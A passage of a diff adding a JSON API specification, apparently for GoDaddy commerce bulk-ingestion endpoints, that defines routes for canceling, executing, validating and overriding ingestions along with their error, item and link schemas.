"bulkIngestionId", + "in": "path", + "required": true, + "description": "The Bulk Ingestion ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "204": { + "description": "Bulk ingestion deleted successfully" + }, + "400": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "post_stores_storeId_bulk_ingestions_bulkIngestionId_cancelations", + "method": "POST", + "path": "/stores/{storeId}/bulk-ingestions/{bulkIngestionId}/cancelations", + "summary": "Cancel bulk ingestion", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkIngestionId", + "in": "path", + "required": true, + "description": "The Bulk Ingestion ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "responses": { + "400": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Bulk ingestion cancelled", + "schema": { + "$ref": "./models/Bulkingestion.yaml" + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "get_stores_storeId_bulk_ingestions_bulkIngestionId_errors", + "method": "GET", + "path": "/stores/{storeId}/bulk-ingestions/{bulkIngestionId}/errors", + "summary": "Get bulk ingestion errors", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkIngestionId", + "in": "path", + "required": true, + "description": "The Bulk Ingestion ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "responses": { + "200": { + "description": "Get bulk ingestion errors", + "schema": { + "description": "A list of bulk ingestion errors", + "properties": { + "errors": { + "items": { + "$id": "https://godaddy.com/schemas/common/error.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "definitions": { + "error-details": { + "$id": "https://godaddy.com/schemas/common/error-details.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The error details. Required for client-side `4XX` errors.", + "properties": { + "description": { + "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value.", + "type": "string" + }, + "field": { + "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors.", + "type": "string" + }, + "issue": { + "description": "The unique fine-grained application-level error code.", + "type": "string" + }, + "location": { + "default": "body", + "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", + "type": "string" + }, + "value": { + "description": "The value of the field that caused the error.", + "type": "string" + } + }, + "required": [ + "issue" + ], + "title": "Error Details", + "type": "object" + }, + "link-description": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + } + }, + "description": "The error information.", + "properties": { + "correlationId": { + "description": "Internal identifier used for correlation purposes.", + "type": "string" + }, + "details": { + "additionalItems": false, + "description": "An array of additional details about the error. Required for client-side `4XX` errors.", + "items": { + "$ref": "./error-details.json" + }, + "type": "array" + }, + "informationLink": { + "description": "The URI for detailed information related to this error for the developer.", + "type": "string" + }, + "links": { + "description": "An array of error-related HATEOAS links.", + "items": { + "$ref": "./link-description.json" + }, + "readOnly": true, + "type": "array" + }, + "message": { + "description": "The message that describes the error.", + "type": "string" + }, + "name": { + "description": "The human-readable, unique name of the error.", + "type": "string" + } + }, + "required": [ + "name", + "correlationId", + "message" + ], + "title": "Error", + "type": "object" + }, + "type": "array" + }, + "links": { + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "pageToken": { + "type": "string" + } + }, + "title": "Bulk Ingestion Errors", + "type": "object" + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "post_stores_storeId_bulk_ingestions_bulkIngestionId_executions", + "method": "POST", + "path": "/stores/{storeId}/bulk-ingestions/{bulkIngestionId}/executions", + "summary": "Execute bulk ingestion", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkIngestionId", + "in": "path", + "required": true, + "description": "The Bulk Ingestion ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Bulk ingestion executed", + "schema": { + "$ref": "./models/Bulkingestion.yaml" + } + }, + "400": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "get_stores_storeId_bulk_ingestions_bulkIngestionId_ingestion_errors", + "method": "GET", + "path": "/stores/{storeId}/bulk-ingestions/{bulkIngestionId}/ingestion-errors", + "summary": "Get bulk ingestion errors download link", + "description": "Returns a time-limited download link for the bulk ingestion errors CSV file. The CSV contains the original row data with `error_field` and `error_message` columns appended for each error.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkIngestionId", + "in": "path", + "required": true, + "description": "The Bulk Ingestion ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Bulk ingestion errors CSV download link", + "schema": { + "description": "A time-limited link to download the bulk ingestion errors CSV file.", + "properties": { + "links": { + "description": "Hypermedia links. Includes the `download` relation pointing to the bulk ingestion errors CSV file.", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + } + }, + "title": "Bulk Ingestion Errors Download", + "type": "object" + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "get_stores_storeId_bulk_ingestions_bulkIngestionId_items", + "method": "GET", + "path": "/stores/{storeId}/bulk-ingestions/{bulkIngestionId}/items", + "summary": "Get bulk ingestion items", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkIngestionId", + "in": "path", + "required": true, + "description": "The Bulk Ingestion ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "responses": { + "200": { + "description": "Get bulk ingestion items", + "schema": { + "description": "A list of bulk ingestion items", + "properties": { + "items": { + "items": { + "$id": "https://godaddy.com/schemas/commerce/bulk-ingestions/bulk-ingestion-item.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk ingestion item object", + "properties": { + "bulkIngestionId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "data": { + "description": "The data for the bulk ingestion item", + "example": { + "name": "Product 1", + "price": { + "currency": "USD", + "value": 100 + }, + "sku": "SKU-1" + }, + "nullable": true, + "type": "object" + }, + "error": { + "description": "The error of the bulk ingestion item", + "nullable": true, + "type": "string" + }, + "executedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "expiresAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "index": { + "description": "The index of the bulk ingestion item", + "type": "integer" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "type": "string" + }, + "status": { + "default": "IDLE", + "description": "The status of the bulk ingestion item", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "validatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "title": "Bulk Ingestion Item", + "type": "object" + }, + "type": "array" + }, + "links": { + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "pageToken": { + "type": "string" + } + }, + "title": "Bulk Ingestion Items", + "type": "object" + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "post_stores_storeId_bulk_ingestions_bulkIngestionId_items_index_validations", + "method": "POST", + "path": "/stores/{storeId}/bulk-ingestions/{bulkIngestionId}/items/{index}/validations", + "summary": "Validate bulk ingestion by index", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkIngestionId", + "in": "path", + "required": true, + "description": "The Bulk Ingestion ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "override index", + "in": "path", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "400": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Bulk ingestion validated", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/bulk-ingestions/bulk-ingestion.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk ingestion object", + "properties": { + "attributes": { + "description": "The attributes for the bulk ingestion", + "items": { + "type": "string" + }, + "type": "array" + }, + "canceledAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "entityType": { + "default": "PRODUCT", + "description": "The type of the entity, currently only accepts PRODUCT", + "type": "string" + }, + "errorCount": { + "default": 0, + "description": "The error count of the bulk ingestion", + "type": "integer" + }, + "executedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "executedCount": { + "default": 0, + "description": "The executed count of the bulk ingestion", + "type": "integer" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "intent": { + "default": "WRITE", + "description": "The intent of the bulk ingestion, currently accepts WRITE, \nPROCESS\n", + "type": "string" + }, + "lastRunTotalCount": { + "default": 0, + "description": "The total count of the bulk ingestion from last run", + "type": "integer" + }, + "mappedAttributes": { + "additionalProperties": { + "properties": { + "default": { + "oneOf": [ + { + "type": "string" + }, + { + "type": "integer" + }, + { + "type": "boolean" + } + ] + }, + "pointer": { + "description": "The pointer for the mapped attribute in the data source. It specifies \nthe path to the attribute within the data structure, such as a JSON \nobject or a CSV file. \n", + "oneOf": [ + { + "type": "string" + }, + { + "type": "integer" + } + ] + }, + "position": { + "description": "The position of the mapped attribute within a split string. This is used in conjunction with the separator to specify which part of the split string to map.", + "type": "integer" + }, + "separator": { + "description": "The separator used to split a string value into multiple parts. This is useful when a single attribute contains multiple values separated by a specific character.", + "type": "string" + } + }, + "type": "object" + }, + "description": "The mapped attributes for the bulk ingestion", + "example": { + "name": { + "pointer": "product_name" + }, + "price.value": { + "pointer": "price" + }, + "sku": { + "pointer": "product_sku" + }, + "variantOptionMapping[0].value": { + "pointer": "Variant Name", + "position": 1, + "separator": "/" + } + }, + "type": "object" + }, + "parsedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "parsedCount": { + "default": 0, + "description": "The parsed count of the bulk ingestion", + "type": "integer" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "type": "string" + }, + "resourceType": { + "default": "STORE", + "description": "The type of the resource, currently only accepts STORE", + "type": "string" + }, + "status": { + "default": "IDLE", + "description": "The status of the bulk ingestion, currently accepts IDLE, PARSING, \nVALIDATING, EXECUTING, PARSING_COMPLETE, PARSING_FAILED, \nVALIDATION_COMPLETE, EXECUTION_COMPLETE, VALIDATION_FAILED, \nEXECUTION_FAILED, EXPIRED, CANCELED\n", + "type": "string" + }, + "totalCount": { + "default": 0, + "description": "The total count of the bulk ingestion", + "type": "integer" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "validatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "validatedCount": { + "default": 0, + "description": "The validated count of the bulk ingestion", + "type": "integer" + } + }, + "title": "Bulk Ingestion", + "type": "object" + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "post_stores_storeId_bulk_ingestions_bulkIngestionId_override_batches", + "method": "POST", + "path": "/stores/{storeId}/bulk-ingestions/{bulkIngestionId}/override-batches", + "summary": "Create, update, or delete a batch of overrides", + "description": "Create, update, or delete a batch of overrides for a bulk ingestion", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkIngestionId", + "in": "path", + "required": true, + "description": "The Bulk Ingestion ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "properties": { + "action": { + "description": "The action to perform on the overrides, currently accepts \nPUT or DELETE\n", + "type": "string" + }, + "overrides": { + "items": { + "properties": { + "op": { + "enum": [ + "replace", + "remove", + "add" + ], + "type": "string" + }, + "path": { + "type": "string" + }, + "value": { + "nullable": true, + "type": "string" + } + }, + "type": "object" + }, + "type": "array" + } + }, + "type": "object" + } + }, + "responses": { + "204": { + "description": "Override Batch DELETE Success", + "schema": { + "properties": { + "errors": { + "items": { + "type": "string" + }, + "type": "array" + } + }, + "type": "object" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "201": { + "description": "Override Batch PUT Success", + "schema": { + "properties": { + "errors": { + "items": { + "type": "string" + }, + "type": "array" + }, + "overrides": { + "items": { + "$id": "https://godaddy.com/schemas/commerce/bulk-ingestions/bulk-ingestion-override.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk ingestion override object", + "properties": { + "bulkIngestionId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "op": { + "default": "replace", + "description": "The operation of the override patch, can be add, remove, \nor replace\n", + "type": "string" + }, + "path": { + "description": "The path of the override, consists of an index and an \nattribute name\n", + "example": "/0/name", + "type": "string" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "value": { + "description": "The value of the override", + "type": "string" + } + }, + "title": "Bulk Ingestion Override", + "type": "object" + }, + "type": "array" + } + }, + "type": "object" + } + }, + "422": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "get_stores_storeId_bulk_ingestions_bulkIngestionId_overrides", + "method": "GET", + "path": "/stores/{storeId}/bulk-ingestions/{bulkIngestionId}/overrides", + "summary": "Get bulk ingestion overrides", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkIngestionId", + "in": "path", + "required": true, + "description": "The Bulk Ingestion ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Get bulk ingestion overrides", + "schema": { + "description": "A list of bulk ingestion overrides", + "properties": { + "links": { + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to 